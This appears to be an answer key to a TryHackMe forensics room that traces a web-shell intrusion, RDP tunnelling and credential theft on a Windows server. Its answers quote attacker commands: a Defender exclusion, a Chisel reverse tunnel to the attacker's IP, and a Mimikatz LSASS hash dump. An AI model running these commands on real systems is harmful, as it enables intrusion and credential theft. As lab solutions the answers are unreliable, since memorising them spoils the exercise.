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TryHackMe21 answered prompts

Logless Hunt TryHackMe walkthrough with 21 answered prompts.

Prompts and answers

  • What is the earliest Event ID you see in the Security logs?
    1102
  • What is the title of the HR01-SRV web app hosted on 80 port?
    Salary Raise Approver v0.1
  • Which IP performed an extensive web scan on the HR01-SRV web app?
    10.10.23.190
  • What is the absolute path to the file that the suspicious IP uploaded?
    C:\Apache24\htdocs\uploads\search.php
  • Clearly, that's suspicious! What would you call the uploaded malware / backdoor?
    Web Shell
  • What was the first command entered by the attacker?
    whoami
  • What is the full URL of the file that the attacker attempted to download?
    http://10.10.23.190:8080/httpd-proxy.exe
  • What command was run to exclude the file from Windows Defender?
    Add-MpPreference -ExclusionPath C:\Apache24
  • Which remote access service was tunnelled using the uploaded binary?
    RDP
  • What is the timestamp of the first suspicious RDP login?
    2025-01-23 17:00:12
  • What user did the attacker breach?
    HR01-SRV\Administrator
  • What IP is shown as the source of the RDP login?
    10.10.23.190
  • What is the timestamp when the attacker disconnected from RDP?
    2025-01-23 17:16:46
  • What is the name of the suspicious scheduled task?
    Apache Proxy
  • When was the suspicious scheduled task created?
    2025-01-23 17:05:37
  • What is the task's "Trigger" value as shown in Task Scheduler GUI?
    At system startup
  • What is the full command line of the malicious task?
    C:\Apache24\bin\httpd-proxy.exe client 10.10.23.190:10443 R:3389:127.0.0.1:3389
  • What is the threat family ("Name") of the first quarantined file?
    VirTool:Win64/Chisel.G
  • And what is the threat family of the next detected malware?
    HackTool:Win32/Mimikatz!pz
  • What is the file name of the downloaded Mimikatz executable?
    mimi.exe
  • Finally, which Mimikatz command was used to extract hashes from LSASS memory?
    lsadump::lsa /inject